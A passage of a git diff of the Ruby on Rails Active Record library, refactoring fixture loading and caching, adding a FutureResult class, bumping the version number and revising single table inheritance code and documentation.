-    def self.default_fixture_model_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
-      config.pluralize_table_names ?
-        fixture_set_name.singularize.camelize :
-        fixture_set_name.camelize
-    end
-
-    def self.default_fixture_table_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
-      "#{ config.table_name_prefix }"\
-      "#{ fixture_set_name.tr('/', '_') }"\
-      "#{ config.table_name_suffix }".to_sym
-    end
+    cattr_accessor :all_loaded_fixtures, default: {}
 
-    def self.reset_cache
-      @@all_cached_fixtures.clear
-    end
+    class << self
+      def default_fixture_model_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+        config.pluralize_table_names ?
+          fixture_set_name.singularize.camelize :
+          fixture_set_name.camelize
+      end
 
-    def self.cache_for_connection(connection)
-      @@all_cached_fixtures[connection]
-    end
+      def default_fixture_table_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+        "#{ config.table_name_prefix }"\
+        "#{ fixture_set_name.tr('/', '_') }"\
+        "#{ config.table_name_suffix }".to_sym
+      end
 
-    def self.fixture_is_cached?(connection, table_name)
-      cache_for_connection(connection)[table_name]
-    end
+      def reset_cache
+        @@all_cached_fixtures.clear
+      end
 
-    def self.cached_fixtures(connection, keys_to_fetch = nil)
-      if keys_to_fetch
-        cache_for_connection(connection).values_at(*keys_to_fetch)
-      else
-        cache_for_connection(connection).values
+      def cache_for_connection_pool(connection_pool)
+        @@all_cached_fixtures[connection_pool]
       end
-    end
 
-    def self.cache_fixtures(connection, fixtures_map)
-      cache_for_connection(connection).update(fixtures_map)
-    end
+      def fixture_is_cached?(connection_pool, table_name)
+        cache_for_connection_pool(connection_pool)[table_name]
+      end
 
-    def self.instantiate_fixtures(object, fixture_set, load_instances = true)
-      if load_instances
-        fixture_set.each do |fixture_name, fixture|
-          begin
-            object.instance_variable_set "@#{fixture_name}", fixture.find
-          rescue FixtureClassNotFound
-            nil
-          end
+      def cached_fixtures(connection_pool, keys_to_fetch = nil)
+        if keys_to_fetch
+          cache_for_connection_pool(connection_pool).values_at(*keys_to_fetch)
+        else
+          cache_for_connection_pool(connection_pool).values
         end
       end
-    end
 
-    def self.instantiate_all_loaded_fixtures(object, load_instances = true)
-      all_loaded_fixtures.each_value do |fixture_set|
-        instantiate_fixtures(object, fixture_set, load_instances)
+      def cache_fixtures(connection_pool, fixtures_map)
+        cache_for_connection_pool(connection_pool).update(fixtures_map)
       end
-    end
-
-    cattr_accessor :all_loaded_fixtures
-    self.all_loaded_fixtures = {}
-
-    class ClassCache
-      def initialize(class_names, config)
-        @class_names = class_names.stringify_keys
-        @config      = config
 
-        # Remove string values that aren't constants or subclasses of AR
-        @class_names.delete_if { |klass_name, klass| !insert_class(@class_names, klass_name, klass) }
+      def instantiate_fixtures(object, fixture_set, load_instances = true)
+        return unless load_instances
+        fixture_set.each do |fixture_name, fixture|
+          object.instance_variable_set "@#{fixture_name}", fixture.find
+        rescue FixtureClassNotFound
+          nil
+        end
       end
 
-      def [](fs_name)
-        @class_names.fetch(fs_name) {
-          klass = default_fixture_model(fs_name, @config).safe_constantize
-          insert_class(@class_names, fs_name, klass)
-        }
+      def instantiate_all_loaded_fixtures(object, load_instances = true)
+        all_loaded_fixtures.each_value do |fixture_set|
+          instantiate_fixtures(object, fixture_set, load_instances)
+        end
       end
 
-      private
+      def create_fixtures(fixtures_directories, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
+        fixture_set_names = Array(fixture_set_names).map(&:to_s)
+        class_names.stringify_keys!
 
-        def insert_class(class_names, name, klass)
-          # We only want to deal with AR objects.
-          if klass && klass < ActiveRecord::Base
-            class_names[name] = klass
-          else
-            class_names[name] = nil
-          end
+        connection_pool = config.connection_pool
+        fixture_files_to_read = fixture_set_names.reject do |fs_name|
+          fixture_is_cached?(connection_pool, fs_name)
         end
 
-        def default_fixture_model(fs_name, config)
-          ActiveRecord::FixtureSet.default_fixture_model_name(fs_name, config)
+        if fixture_files_to_read.any?
+          fixtures_map = read_and_insert(
+            Array(fixtures_directories),
+            fixture_files_to_read,
+            class_names,
+            connection_pool,
+          )
+          cache_fixtures(connection_pool, fixtures_map)
         end
-    end
+        cached_fixtures(connection_pool, fixture_set_names)
+      end
 
-    def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
-      fixture_set_names = Array(fixture_set_names).map(&:to_s)
-      class_names = ClassCache.new class_names, config
+      # Returns a consistent, platform-independent identifier for +label+.
+      #
+      # \Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.
+      def identify(label, column_type = :integer)
+        if column_type == :uuid
+          Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, label.to_s)
+        else
+          Zlib.crc32(label.to_s) % MAX_ID
+        end
+      end
 
-      # FIXME: Apparently JK uses this.
-      connection = block_given? ? yield : ActiveRecord::Base.connection
+      # Returns a consistent, platform-independent hash representing a mapping
+      # between the label and the subcomponents of the provided composite key.
+      #
+      # Example:
+      #
+      #   composite_identify("label", [:a, :b, :c]) # => { a: hash_1, b: hash_2, c: hash_3 }
+      def composite_identify(label, key)
+        key
+          .index_with
+          .with_index { |sub_key, index| (identify(label) << index) % MAX_ID }
+          .with_indifferent_access
+      end
 
-      files_to_read = fixture_set_names.reject { |fs_name|
-        fixture_is_cached?(connection, fs_name)
-      }
+      # Superclass for the evaluation contexts used by \ERB fixtures.
+      def context_class
+        @context_class ||= Class.new
+      end
 
-      unless files_to_read.empty?
-        connection.disable_referential_integrity do
+      private
+        def read_and_insert(fixtures_directories, fixture_files, class_names, connection_pool) # :nodoc:
           fixtures_map = {}
-
-          fixture_sets = files_to_read.map do |fs_name|
-            klass = class_names[fs_name]
-            conn = klass ? klass.connection : connection
-            fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
-              conn,
-              fs_name,
+          directory_glob = "{#{fixtures_directories.join(",")}}"
+          fixture_sets = fixture_files.map do |fixture_set_name|
+            klass = class_names[fixture_set_name]
+            fixtures_map[fixture_set_name] = new( # ActiveRecord::FixtureSet.new
+              nil,
+              fixture_set_name,
               klass,
-              ::File.join(fixtures_directory, fs_name))
+              ::File.join(directory_glob, fixture_set_name)
+            )
           end
+          update_all_loaded_fixtures(fixtures_map)
 
-          update_all_loaded_fixtures fixtures_map
+          insert(fixture_sets, connection_pool)
 
-          connection.transaction(requires_new: true) do
-            deleted_tables = Hash.new { |h, k| h[k] = Set.new }
-            fixture_sets.each do |fs|
-              conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
-              table_rows = fs.table_rows
+          fixtures_map
+        end
 
-              table_rows.each_key do |table|
-                unless deleted_tables[conn].include? table
-                  conn.delete "DELETE FROM #{conn.quote_table_name(table)}", "Fixture Delete"
-                end
-                deleted_tables[conn] << table
-              end
+        def insert(fixture_sets, connection_pool) # :nodoc:
+          fixture_sets_by_pool = fixture_sets.group_by do |fixture_set|
+            if fixture_set.model_class
+              fixture_set.model_class.connection_pool
+            else
+              connection_pool
+            end
+          end
+
+          fixture_sets_by_pool.each do |pool, set|
+            table_rows_for_connection = Hash.new { |h, k| h[k] = [] }
 
-              table_rows.each do |fixture_set_name, rows|
-                rows.each do |row|
-                  conn.insert_fixture(row, fixture_set_name)
-                end
+            set.each do |fixture_set|
+              fixture_set.table_rows.each do |table, rows|
+                table_rows_for_connection[table].unshift(*rows)
               end
+            end
+
+            pool.with_connection do |conn|
+              conn.insert_fixtures_set(table_rows_for_connection, table_rows_for_connection.keys)
+
+              check_all_foreign_keys_valid!(conn)
 
               # Cap primary key sequences to max(pk).
-              if conn.respond_to?(:reset_pk_sequence!)
-                conn.reset_pk_sequence!(fs.table_name)
+              if conn.respond_to?(:reset_column_sequences!)
+                conn.reset_column_sequences!(set.map { |fs| [fs.table_name] })
               end
             end
           end
-
-          cache_fixtures(connection, fixtures_map)
         end
-      end
-      cached_fixtures(connection, fixture_set_names)
-    end
 
-    # Returns a consistent, platform-independent identifier for +label+.
-    # Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.
-    def self.identify(label, column_type = :integer)
-      if column_type == :uuid
-        Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, label.to_s)
-      else
-        Zlib.crc32(label.to_s) % MAX_ID
-      end
-    end
+        def check_all_foreign_keys_valid!(conn)
+          return unless ActiveRecord.verify_foreign_keys_for_fixtures
 
-    # Superclass for the evaluation contexts used by ERB fixtures.
-    def self.context_class
-      @context_class ||= Class.new
-    end
+          begin
+            conn.check_all_foreign_keys_valid!
+          rescue ActiveRecord::StatementInvalid => e
+            raise "Foreign key violations found in your fixture data. Ensure you aren't referring to labels that don't exist on associations. Error from database:\n\n#{e.message}"
+          end
+        end
 
-    def self.update_all_loaded_fixtures(fixtures_map) # :nodoc:
-      all_loaded_fixtures.update(fixtures_map)
+        def update_all_loaded_fixtures(fixtures_map) # :nodoc:
+          all_loaded_fixtures.update(fixtures_map)
+        end
     end
 
-    attr_reader :table_name, :name, :fixtures, :model_class, :config
+    attr_reader :table_name, :name, :fixtures, :model_class, :ignored_fixtures, :config
 
-    def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
+    def initialize(_, name, class_name, path, config = ActiveRecord::Base)
       @name     = name
       @path     = path
       @config   = config
 
       self.model_class = class_name
-
       @fixtures = read_fixture_files(path)
 
-      @connection = connection
-
-      @table_name = (model_class.respond_to?(:table_name) ?
-                      model_class.table_name :
-                      self.class.default_fixture_table_name(name, config))
+      @table_name = model_class&.table_name || self.class.default_fixture_table_name(name, config)
     end
 
     def [](x)
@@ -623,153 +740,17 @@ def size
     # Returns a hash of rows to be inserted. The key is the table, the value is
     # a list of rows to insert to that table.
     def table_rows
-      now = config.default_timezone == :utc ? Time.now.utc : Time.now
-
-      # allow a standard key to be used for doing defaults in YAML
-      fixtures.delete("DEFAULTS")
-
-      # track any join tables we need to insert later
-      rows = Hash.new { |h, table| h[table] = [] }
-
-      rows[table_name] = fixtures.map do |label, fixture|
-        row = fixture.to_hash
-
-        if model_class
-          # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
-          if model_class.record_timestamps
-            timestamp_column_names.each do |c_name|
-              row[c_name] = now unless row.key?(c_name)
-            end
-          end
-
-          # interpolate the fixture label
-          row.each do |key, value|
-            row[key] = value.gsub("$LABEL", label.to_s) if value.is_a?(String)
-          end
-
-          # generate a primary key if necessary
-          if has_primary_key_column? && !row.include?(primary_key_name)
-            row[primary_key_name] = ActiveRecord::FixtureSet.identify(label, primary_key_type)
-          end
-
-          # Resolve enums
-          model_class.defined_enums.each do |name, values|
-            if row.include?(name)
-              row[name] = values.fetch(row[name], row[name])
-            end
-          end
-
-          # If STI is used, find the correct subclass for association reflection
-          reflection_class =
-            if row.include?(inheritance_column_name)
-              row[inheritance_column_name].constantize rescue model_class
-            else
-              model_class
-            end
-
-          reflection_class._reflections.each_value do |association|
-            case association.macro
-            when :belongs_to
-              # Do not replace association name with association foreign key if they are named the same
-              fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
-
-              if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
-                if association.polymorphic? && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
-                  # support polymorphic belongs_to as "label (Type)"
-                  row[association.foreign_type] = $1
-                end
-
-                fk_type = reflection_class.type_for_attribute(fk_name).type
-                row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
-              end
-            when :has_many
-              if association.options[:through]
-                add_join_records(rows, row, HasManyThroughProxy.new(association))
-              end
-            end
-          end
-        end
-
-        row
-      end
-      rows
-    end
-
-    class ReflectionProxy # :nodoc:
-      def initialize(association)
-        @association = association
-      end
-
-      def join_table
-        @association.join_table
-      end
-
-      def name
-        @association.name
-      end
-
-      def primary_key_type
-        @association.klass.type_for_attribute(@association.klass.primary_key).type
-      end
-    end
+      # allow specifying fixtures to be ignored by setting `ignore` in `_fixture` section
+      fixtures.except!(*ignored_fixtures)
 
-    class HasManyThroughProxy < ReflectionProxy # :nodoc:
-      def rhs_key
-        @association.foreign_key
-      end
-
-      def lhs_key
-        @association.through_reflection.foreign_key
-      end
-
-      def join_table
-        @association.through_reflection.table_name
-      end
+      TableRows.new(
+        table_name,
+        model_class: model_class,
+        fixtures: fixtures,
+      ).to_hash
     end
 
     private
-      def primary_key_name
-        @primary_key_name ||= model_class && model_class.primary_key
-      end
-
-      def primary_key_type
-        @primary_key_type ||= model_class && model_class.type_for_attribute(model_class.primary_key).type
-      end
-
-      def add_join_records(rows, row, association)
-        # This is the case when the join table has no fixtures file
-        if (targets = row.delete(association.name.to_s))
-          table_name  = association.join_table
-          column_type = association.primary_key_type
-          lhs_key     = association.lhs_key
-          rhs_key     = association.rhs_key
-
-          targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
-          rows[table_name].concat targets.map { |target|
-            { lhs_key => row[primary_key_name],
-              rhs_key => ActiveRecord::FixtureSet.identify(target, column_type) }
-          }
-        end
-      end
-
-      def has_primary_key_column?
-        @has_primary_key_column ||= primary_key_name &&
-          model_class.columns.any? { |c| c.name == primary_key_name }
-      end
-
-      def timestamp_column_names
-        @timestamp_column_names ||=
-          %w(created_at created_on updated_at updated_on) & column_names
-      end
-
-      def inheritance_column_name
-        @inheritance_column_name ||= model_class && model_class.inheritance_column
-      end
-
-      def column_names
-        @column_names ||= @connection.columns(@table_name).collect(&:name)
-      end
-
       def model_class=(class_name)
         if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
           @model_class = class_name
@@ -778,17 +759,37 @@ def model_class=(class_name)
         end
       end
 
+      def ignored_fixtures=(base)
+        @ignored_fixtures =
+            case base
+            when Array
+              base
+            when String
+              [base]
+            else
+              []
+            end
+
+        @ignored_fixtures << "DEFAULTS" unless @ignored_fixtures.include?("DEFAULTS")
+        @ignored_fixtures.compact
+      end
+
       # Loads the fixtures from the YAML file at +path+.
       # If the file sets the +model_class+ and current instance value is not set,
       # it uses the file value.
+
       def read_fixture_files(path)
-        yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f|
+        yaml_files = Dir["#{path}{.yml,/{**,*}/*.yml}"].select { |f|
           ::File.file?(f)
-        } + [yaml_file_path(path)]
+        }
+
+        raise ArgumentError, "No fixture files found for #{@name}" if yaml_files.empty?
 
         yaml_files.each_with_object({}) do |file, fixtures|
           FixtureSet::File.open(file) do |fh|
             self.model_class ||= fh.model_class if fh.model_class
+            self.model_class ||= default_fixture_model_class
+            self.ignored_fixtures ||= fh.ignored_fixtures
             fh.each do |fixture_name, row|
               fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
             end
@@ -796,18 +797,19 @@ def read_fixture_files(path)
         end
       end
 
-      def yaml_file_path(path)
-        "#{path}.yml"
+      def default_fixture_model_class
+        klass = ActiveRecord::FixtureSet.default_fixture_model_name(@name, @config).safe_constantize
+        klass if klass && klass < ActiveRecord::Base
       end
   end
 
-  class Fixture #:nodoc:
+  class Fixture # :nodoc:
     include Enumerable
 
-    class FixtureError < StandardError #:nodoc:
+    class FixtureError < StandardError # :nodoc:
     end
 
-    class FormatError < FixtureError #:nodoc:
+    class FormatError < FixtureError # :nodoc:
     end
 
     attr_reader :model_class, :fixture
@@ -821,8 +823,8 @@ def class_name
       model_class.name if model_class
     end
 
-    def each
-      fixture.each { |item| yield item }
+    def each(&block)
+      fixture.each(&block)
     end
 
     def [](key)
@@ -832,224 +834,16 @@ def [](key)
     alias :to_hash :fixture
 
     def find
-      if model_class
-        model_class.unscoped do
-          model_class.find(fixture[model_class.primary_key])
-        end
-      else
-        raise FixtureClassNotFound, "No class attached to find."
+      raise FixtureClassNotFound, "No class attached to find." unless model_class
+      object = model_class.unscoped do
+        pk_clauses = fixture.slice(*Array(model_class.primary_key))
+        model_class.find_by!(pk_clauses)
       end
+      # Fixtures can't be eagerly loaded
+      object.instance_variable_set(:@strict_loading, false)
+      object
     end
   end
 end
 
-module ActiveRecord
-  module TestFixtures
-    extend ActiveSupport::Concern
-
-    def before_setup # :nodoc:
-      setup_fixtures
-      super
-    end
-
-    def after_teardown # :nodoc:
-      super
-      teardown_fixtures
-    end
-
-    included do
-      class_attribute :fixture_path, instance_writer: false
-      class_attribute :fixture_table_names
-      class_attribute :fixture_class_names
-      class_attribute :use_transactional_tests
-      class_attribute :use_instantiated_fixtures # true, false, or :no_instances
-      class_attribute :pre_loaded_fixtures
-      class_attribute :config
-
-      self.fixture_table_names = []
-      self.use_instantiated_fixtures = false
-      self.pre_loaded_fixtures = false
-      self.config = ActiveRecord::Base
-
-      self.fixture_class_names = {}
-      self.use_transactional_tests = true
-    end
-
-    module ClassMethods
-      # Sets the model class for a fixture when the class name cannot be inferred from the fixture name.
-      #
-      # Examples:
-      #
-      #   set_fixture_class some_fixture:        SomeModel,
-      #                     'namespaced/fixture' => Another::Model
-      #
-      # The keys must be the fixture names, that coincide with the short paths to the fixture files.
-      def set_fixture_class(class_names = {})
-        self.fixture_class_names = fixture_class_names.merge(class_names.stringify_keys)
-      end
-
-      def fixtures(*fixture_set_names)
-        if fixture_set_names.first == :all
-          fixture_set_names = Dir["#{fixture_path}/{**,*}/*.{yml}"].uniq
-          fixture_set_names.map! { |f| f[(fixture_path.to_s.size + 1)..-5] }
-        else
-          fixture_set_names = fixture_set_names.flatten.map(&:to_s)
-        end
-
-        self.fixture_table_names |= fixture_set_names
-        setup_fixture_accessors(fixture_set_names)
-      end
-
-      def setup_fixture_accessors(fixture_set_names = nil)
-        fixture_set_names = Array(fixture_set_names || fixture_table_names)
-        methods = Module.new do
-          fixture_set_names.each do |fs_name|
-            fs_name = fs_name.to_s
-            accessor_name = fs_name.tr("/", "_").to_sym
-
-            define_method(accessor_name) do |*fixture_names|
-              force_reload = fixture_names.pop if fixture_names.last == true || fixture_names.last == :reload
-
-              @fixture_cache[fs_name] ||= {}
-
-              instances = fixture_names.map do |f_name|
-                f_name = f_name.to_s if f_name.is_a?(Symbol)
-                @fixture_cache[fs_name].delete(f_name) if force_reload
-
-                if @loaded_fixtures[fs_name][f_name]
-                  @fixture_cache[fs_name][f_name] ||= @loaded_fixtures[fs_name][f_name].find
-                else
-                  raise StandardError, "No fixture named '#{f_name}' found for fixture set '#{fs_name}'"
-                end
-              end
-
-              instances.size == 1 ? instances.first : instances
-            end
-            private accessor_name
-          end
-        end
-        include methods
-      end
-
-      def uses_transaction(*methods)
-        @uses_transaction = [] unless defined?(@uses_transaction)
-        @uses_transaction.concat methods.map(&:to_s)
-      end
-
-      def uses_transaction?(method)
-        @uses_transaction = [] unless defined?(@uses_transaction)
-        @uses_transaction.include?(method.to_s)
-      end
-    end
-
-    def run_in_transaction?
-      use_transactional_tests &&
-        !self.class.uses_transaction?(method_name)
-    end
-
-    def setup_fixtures(config = ActiveRecord::Base)
-      if pre_loaded_fixtures && !use_transactional_tests
-        raise RuntimeError, "pre_loaded_fixtures requires use_transactional_tests"
-      end
-
-      @fixture_cache = {}
-      @fixture_connections = []
-      @@already_loaded_fixtures ||= {}
-      @connection_subscriber = nil
-
-      # Load fixtures once and begin transaction.
-      if run_in_transaction?
-        if @@already_loaded_fixtures[self.class]
-          @loaded_fixtures = @@already_loaded_fixtures[self.class]
-        else
-          @loaded_fixtures = load_fixtures(config)
-          @@already_loaded_fixtures[self.class] = @loaded_fixtures
-        end
-
-        # Begin transactions for connections already established
-        @fixture_connections = enlist_fixture_connections
-        @fixture_connections.each do |connection|
-          connection.begin_transaction joinable: false
-        end
-
-        # When connections are established in the future, begin a transaction too
-        @connection_subscriber = ActiveSupport::Notifications.subscribe("!connection.active_record") do |_, _, _, _, payload|
-          spec_name = payload[:spec_name] if payload.key?(:spec_name)
-
-          if spec_name
-            begin
-              connection = ActiveRecord::Base.connection_handler.retrieve_connection(spec_name)
-            rescue ConnectionNotEstablished
-              connection = nil
-            end
-
-            if connection && !@fixture_connections.include?(connection)
-              connection.begin_transaction joinable: false
-              @fixture_connections << connection
-            end
-          end
-        end
-
-      # Load fixtures for every test.
-      else
-        ActiveRecord::FixtureSet.reset_cache
-        @@already_loaded_fixtures[self.class] = nil
-        @loaded_fixtures = load_fixtures(config)
-      end
-
-      # Instantiate fixtures for every test if requested.
-      instantiate_fixtures if use_instantiated_fixtures
-    end
-
-    def teardown_fixtures
-      # Rollback changes if a transaction is active.
-      if run_in_transaction?
-        ActiveSupport::Notifications.unsubscribe(@connection_subscriber) if @connection_subscriber
-        @fixture_connections.each do |connection|
-          connection.rollback_transaction if connection.transaction_open?
-        end
-        @fixture_connections.clear
-      else
-        ActiveRecord::FixtureSet.reset_cache
-      end
-
-      ActiveRecord::Base.clear_active_connections!
-    end
-
-    def enlist_fixture_connections
-      ActiveRecord::Base.connection_handler.connection_pool_list.map(&:connection)
-    end
-
-    private
-      def load_fixtures(config)
-        fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names, config)
-        Hash[fixtures.map { |f| [f.name, f] }]
-      end
-
-      def instantiate_fixtures
-        if pre_loaded_fixtures
-          raise RuntimeError, "Load fixtures before instantiating them." if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
-          ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
-        else
-          raise RuntimeError, "Load fixtures before instantiating them." if @loaded_fixtures.nil?
-          @loaded_fixtures.each_value do |fixture_set|
-            ActiveRecord::FixtureSet.instantiate_fixtures(self, fixture_set, load_instances?)
-          end
-        end
-      end
-
-      def load_instances?
-        use_instantiated_fixtures != :no_instances
-      end
-  end
-end
-
-class ActiveRecord::FixtureSet::RenderContext # :nodoc:
-  def self.create_subclass
-    Class.new ActiveRecord::FixtureSet.context_class do
-      def get_binding
-        binding()
-      end
-    end
-  end
-end
+ActiveSupport.run_load_hooks :active_record_fixture_set, ActiveRecord::FixtureSet
diff --git a/activerecord/lib/active_record/future_result.rb b/activerecord/lib/active_record/future_result.rb
new file mode 100644
index 0000000000000..04d288bb31e8a
--- /dev/null
+++ b/activerecord/lib/active_record/future_result.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "active_record/connection_adapters/query_intent"
+
+module ActiveRecord
+  class FutureResult # :nodoc:
+    class Complete
+      attr_reader :result
+      delegate :empty?, :to_a, to: :result
+
+      def initialize(result)
+        @result = result
+      end
+
+      def pending?
+        false
+      end
+
+      def canceled?
+        false
+      end
+
+      def then(&block)
+        Promise::Complete.new(@result.then(&block))
+      end
+    end
+
+    Canceled = Class.new(ActiveRecordError)
+
+    def self.wrap(result)
+      case result
+      when self, Complete
+        result
+      else
+        Complete.new(result)
+      end
+    end
+
+    delegate :empty?, :to_a, to: :result
+    delegate :lock_wait, to: :@intent
+
+    def initialize(intent)
+      @intent = intent
+    end
+
+    def then(&block)
+      Promise.new(self, block)
+    end
+
+    def cancel
+      @intent.cancel
+    end
+
+    def result
+      raise Canceled if canceled?
+
+      @intent.cast_result
+    end
+
+    def pending?
+      @intent.pending?
+    end
+
+    def canceled?
+      @intent.canceled?
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb
index f33456a744958..082569a54efea 100644
--- a/activerecord/lib/active_record/gem_version.rb
+++ b/activerecord/lib/active_record/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # Returns the version of the currently loaded Active Record as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Active Record as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index fbdaeaae51fa6..89164b15f25e3 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -1,7 +1,9 @@
-require "active_support/core_ext/hash/indifferent_access"
+# frozen_string_literal: true
+
+require "active_support/inflector"
 
 module ActiveRecord
-  # == Single table inheritance
+  # = Single table inheritance
   #
   # Active Record allows inheritance by storing the name of the class in a column that by
   # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
@@ -29,39 +31,46 @@ module ActiveRecord
   # be triggered. In that case, it'll work just like normal subclasses with no special magic
   # for differentiating between them or reloading the right type with find.
   #
-  # Note, all the attributes for all the cases are kept in the same table. Read more:
-  # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+  # Note, all the attributes for all the cases are kept in the same table.
+  # Read more:
+  # * https://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
   #
   module Inheritance
     extend ActiveSupport::Concern
 
     included do
+      class_attribute :store_full_class_name, instance_writer: false, default: true
+
       # Determines whether to store the full constant name including namespace when using STI.
       # This is true, by default.
-      class_attribute :store_full_sti_class, instance_writer: false
-      self.store_full_sti_class = true
+      class_attribute :store_full_sti_class, instance_writer: false, default: true
+
+      set_base_class
     end
 
     module ClassMethods
       # Determines if one of the attributes passed in is the inheritance column,
       # and if the inheritance column is attr accessible, it initializes an
       # instance of the given subclass instead of the base class.
-      def new(*args, &block)
+      def new(attributes = nil, &block)
         if abstract_class? || self == Base
           raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
         end
 
-        attrs = args.first
-        if has_attribute?(inheritance_column)
-          subclass = subclass_from_attributes(attrs)
+        if _has_attribute?(inheritance_column)
+          subclass = subclass_from_attributes(attributes)
 
-          if subclass.nil? && base_class == self
+          if subclass.nil? && scope_attributes = current_scope&.scope_for_create
+            subclass = subclass_from_attributes(scope_attributes)
+          end
+
+          if subclass.nil? && base_class?
             subclass = subclass_from_attributes(column_defaults)
           end
         end
 
         if subclass && subclass != self
-          subclass.new(*args, &block)
+          subclass.new(attributes, &block)
         else
           super
         end
@@ -79,74 +88,164 @@ def descends_from_active_record?
         end
       end
 
-      def finder_needs_type_condition? #:nodoc:
+      def finder_needs_type_condition? # :nodoc:
         # This is like this because benchmarking justifies the strange :false stuff
         :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
       end
 
-      # Returns the class descending directly from ActiveRecord::Base, or
-      # an abstract class, if any, in the inheritance hierarchy.
+      # Returns the first class in the inheritance hierarchy that descends from either an
+      # abstract class or from <tt>ActiveRecord::Base</tt>.
       #
-      # If A extends ActiveRecord::Base, A.base_class will return A. If B descends from A
-      # through some arbitrarily deep hierarchy, B.base_class will return A.
+      # Consider the following behavior:
       #
-      # If B < A and C < B and if A is an abstract_class then both B.base_class
-      # and C.base_class would return B as the answer since A is an abstract_class.
-      def base_class
-        unless self < Base
-          raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
-        end
+      #   class ApplicationRecord < ActiveRecord::Base
+      #     self.abstract_class = true
+      #   end
+      #   class Shape < ApplicationRecord
+      #     self.abstract_class = true
+      #   end
+      #   Polygon = Class.new(Shape)
+      #   Square = Class.new(Polygon)
+      #
+      #   ApplicationRecord.base_class # => ApplicationRecord
+      #   Shape.base_class # => Shape
+      #   Polygon.base_class # => Polygon
+      #   Square.base_class # => Polygon
+      attr_reader :base_class
 
-        if superclass == Base || superclass.abstract_class?
-          self
-        else
-          superclass.base_class
-        end
+      # Returns whether the class is a base class.
+      # See #base_class for more information.
+      def base_class?
+        base_class == self
       end
 
-      # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
-      # If you are using inheritance with ActiveRecord and don't want child classes
-      # to utilize the implied STI table name of the parent class, this will need to be true.
-      # For example, given the following:
+      # Set this to +true+ if this is an abstract class (see
+      # <tt>abstract_class?</tt>).
+      # If you are using inheritance with Active Record and don't want a class
+      # to be considered as part of the STI hierarchy, you must set this to
+      # true.
+      # +ApplicationRecord+, for example, is generated as an abstract class.
+      #
+      # Consider the following default behavior:
       #
-      #   class SuperClass < ActiveRecord::Base
+      #   Shape = Class.new(ActiveRecord::Base)
+      #   Polygon = Class.new(Shape)
+      #   Square = Class.new(Polygon)
+      #
+      #   Shape.table_name   # => "shapes"
+      #   Polygon.table_name # => "shapes"
+      #   Square.table_name  # => "shapes"
+      #   Shape.create!      # => #<Shape id: 1, type: nil>
+      #   Polygon.create!    # => #<Polygon id: 2, type: "Polygon">
+      #   Square.create!     # => #<Square id: 3, type: "Square">
+      #
+      # However, when using <tt>abstract_class</tt>, +Shape+ is omitted from
+      # the hierarchy:
+      #
+      #   class Shape < ActiveRecord::Base
       #     self.abstract_class = true
       #   end
-      #   class Child < SuperClass
-      #     self.table_name = 'the_table_i_really_want'
-      #   end
+      #   Polygon = Class.new(Shape)
+      #   Square = Class.new(Polygon)
       #
+      #   Shape.table_name   # => nil
+      #   Polygon.table_name # => "polygons"
+      #   Square.table_name  # => "polygons"
+      #   Shape.create!      # => NotImplementedError: Shape is an abstract class and cannot be instantiated.
+      #   Polygon.create!    # => #<Polygon id: 1, type: nil>
+      #   Square.create!     # => #<Square id: 2, type: "Square">
       #
-      # <tt>self.abstract_class = true</tt> is required to make <tt>Child<.find,.create, or any Arel method></tt> use <tt>the_table_i_really_want</tt> instead of a table called <tt>super_classes</tt>
-      #
+      # Note that in the above example, to disallow the creation of a plain
+      # +Polygon+, you should use <tt>validates :type, presence: true</tt>,
+      # instead of setting it as an abstract class. This way, +Polygon+ will
+      # stay in the hierarchy, and Active Record will continue to correctly
+      # derive the table name.
       attr_accessor :abstract_class
 
       # Returns whether this class is an abstract class or not.
       def abstract_class?
-        defined?(@abstract_class) && @abstract_class == true
+        @abstract_class == true
+      end
+
+      # Sets the application record class for Active Record
+      #
+      # This is useful if your application uses a different class than
+      # ApplicationRecord for your primary abstract class. This class
+      # will share a database connection with Active Record. It is the class
